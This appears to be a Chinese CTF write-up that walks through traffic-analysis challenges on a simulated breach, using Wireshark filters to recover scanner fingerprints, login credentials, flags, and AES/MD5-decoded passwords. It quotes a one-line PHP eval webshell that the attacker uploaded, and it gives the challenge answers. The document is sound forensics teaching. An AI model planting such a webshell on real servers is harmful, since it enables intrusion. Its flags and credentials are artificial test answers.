流量分析(CTF)

2022-01-14 10:00:06

題目背景

某公司內網網路被駭客滲透,簡單瞭解,駭客首先攻擊了一臺web伺服器,破解了後臺的賬戶密碼,隨之利用破解的賬號密碼登陸了mail系統,然後獲取了vpn的申請方式,然後登陸了vpn,在內網pwn掉了一臺印表機,請根據提供的流量包回答下面有關問題

關卡列表

1 某公司內網網路被駭客滲透,請分析流量,給出駭客使用的掃描器

2 某公司內網網路被駭客滲透,請分析流量,得到駭客掃描到的登陸後臺是(相對路徑即可)

3 某公司內網網路被駭客滲透,請分析流量,得到駭客使用了什麼賬號密碼登陸了web後臺(形式:username/password)

4 某公司內網網路被駭客滲透,請分析流量,得到駭客上傳的webshell檔名是,內容是什麼,提交webshell內容的base編碼

5 某公司內網網路被駭客滲透,請分析流量,駭客在robots.txt中找到的flag是什麼

6 某公司內網網路被駭客滲透,請分析流量,駭客找到的資料庫密碼是多少

7 某公司內網網路被駭客滲透,請分析流量,駭客在資料庫中找到的hash_code是什麼

8 某公司內網網路被駭客滲透,請分析流量,駭客破解了賬號ijnu@test.com得到的密碼是什麼

9 某公司內網網路被駭客滲透,請分析流量,被駭客攻擊的web伺服器,網路卡設定是是什麼,提交網路卡內網ip

10 某公司內網網路被駭客滲透,請分析流量,駭客使用了什麼賬號登陸了mail系統(形式: username/password) 

11某公司內網網路被駭客滲透,請分析流量,駭客獲得的vpn的ip是多少

 

 

解題過程

駭客使用的掃描器

掃描器指紋

  1. awvs:acunetix
  2. netsparker:netsparker
  3. appscan:Appscan
  4. nessus:nessus
  5. sqlmap:sqlmap

 我們開啟webone.pcap

 我們大概過濾了一下,發現為awvs:acunetix的掃描器

並且發現ip為192.168.94.59的操作很頻繁

http contains "wvs"

找到駭客登入的後臺

常見後臺地址

  1. admin
  2. manager
  3. login
  4. system

 我嘗試搜尋了一下,發現登陸的嘗試欄位admin/login.php?rec=login

http contains "admin"
登陸後臺99%使用的是POST方法,然後追蹤TCP流,看到302重定向,基本就是登陸成功了,所以也可以
http.request.method=="POST"

找到駭客登入後臺的賬號密碼

http contains "rec=login" and http.request.method=="POST" and ip.addr==192.168.94.59

 我們意之前的ip,並且加以過濾發現登陸嘗試很多,一般破譯一個他就會嘗試下一步,所以我們看最後一個,且發現tcp追蹤流上為302重定向,返回長度且為75x,說明就是登陸所用的賬號

所以--賬號:admin        密碼:admin!@#pass123

 找到駭客上傳的webshell的檔名和內容

由於駭客使用的是php檔案,可能是一句話木馬,必然包括eval函數

http contains "eval" and http.request.method=="POST"

由上圖發現使用的是tcp協定,使用的是base64加密,我們看一下webshell的內容

tcp contains "<?php @eval"

追蹤結果的tcp流,發現

檔名:a.php

內容:<?php @eval($_POST[1234]);?>

 找到駭客在robots.txt中得到的flag

Robots是站點與spider溝通的重要渠道,站點通過robots檔案宣告本網站中不想被搜尋引擎收錄的部分或者指定搜尋引擎只收錄特定的部分。

搜尋引擎使用spider程式自動存取網際網路上的網頁並獲取網頁資訊。spider在存取一個網站時,會首先會檢查該網站的根域下是否有一個叫做 robots.txt的純文字檔案,這個檔案用於指定spider在您網站上的抓取範圍。您可以在您的網站中建立一個robots.txt,在檔案中宣告 該網站中不想被搜尋引擎收錄的部分或者指定搜尋引擎只收錄特定的部分。

http contains "robots.txt"

追蹤tcp流發現flag

flag:87b7cb79481f317bde90c116cf36084b

 找到駭客得到的資料庫密碼

如果資料庫登陸成功,那麼http響應碼應該為200,並且一般會包含database

http.response.code==200 and http contains "database"

然後追蹤tcp流,發現

database host
$dbhost = 「10.3.3.101」;

// database username
$dbuser = 「web」;

// database password
$dbpass = 「e667jUPvJjXHvEUv」;

hash_code

 開啟webtwo流量包

我們查一下有關資料庫的以及hash的欄位,追蹤tcp流

ip.src==10.3.3.101 and tcp contains "hash_code"

 駭客破解了賬號ijnu@test.com得到的密碼是什麼

tcp contains "ijnu@test.com"

 追蹤tcp流,或者看mysql協定

 密碼為:b78f5aa6e1606f07def6e839121a22ec 但是是md5加密過的所以我們用MD5給他解密得到

 md5線上解密icon-default.png?t=LBL2https://www.somd5.com/

 找到駭客攻擊的web伺服器,網路卡設定

回到webone.pcap這個流量包中,這個問題問的是網路卡的設定,一般網路卡的名稱都為eth0/ens33等,所以可以利用這個關鍵詞進行查詢

tcp contains "ens33"
tcp contains "eth0"

追蹤tcp流發現

eth0 ip為192.168.32.189
eth1 ip為10.3.3.100

 找到駭客使用了什麼賬號登陸了mail系統

這題需要綜合來看mailtwo.pcap和mailtwo1.pcap兩個封包

http.request.method==POST && http contains "mail"

 隨便看一個,我們發現wenwenni的使用者登陸了,我們看到登陸金鑰為3oUuaEG4ux6xKD3RZ1iSew==

我們看一下這個使用者登陸會發生什麼,找到登入頁面,發現他會檢查iv偏移量,說明是AES的 (CBC)加密

iv偏移量為1234567812345678

key:d959caadac9b13dcb3e609440135cf54   經過md5加密後的iv

ip.addr==192.168.94.131

 那麼我們追下一次頁面請求

 從35追到42,再到44,到了下次登入成功的頁面,顯示了基於行的文字資料

{"success":true}

 現在我們知道登陸會返回什麼,所以可以看看駭客登陸情況(雙引號內的雙引號被跳脫才可使用)

(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59

使用者:admin 

密碼: +ZgE14UGcFcyRGLI0/ZXPQ==aes解密icon-default.png?t=LBL2http://tool.chacuo.net/cryptaes

 最終密碼為:admin!@#PASS123

找到駭客獲得的vpn,ip是多少

這一題需要用到的封包是vpnone.pcap和vpntwo.pcap

PPTP原理
1.PPTP客戶機使用動態分配的TCP埠號,與PPTP伺服器使用的保留TCP埠號123建立控制連線(PPTP控制連線攜帶PPTP呼叫控制盒管理資訊,用於維護PPTP隧道)。
2.使用者端與伺服器通過控制連線來建立、維護、終止一條隧道。
3.PPP幀的有效載荷經過加密、壓縮或是兩者的混合處理。
4.使用通用路由封裝GRE對PPP幀進行封裝。
5.將PPP幀封裝進IP資料包文中。通過IP網路如Internet或其他企業準用INTRANET燈傳送給PPTP伺服器。
6.伺服器接收到PPTP封包後進行常規處理。

ip.dst==192.168.94.59 and ppp

 可以在過濾後的部分包裡找到vpn的ip

 當然也可以進行統計

看到流量大的ip就有可能,但是vpnone多是內網ip,且流量大的都是內網

而vpntwo裡10.3.4.3的流量最大

所以駭客vpn的ip:10.3.4.3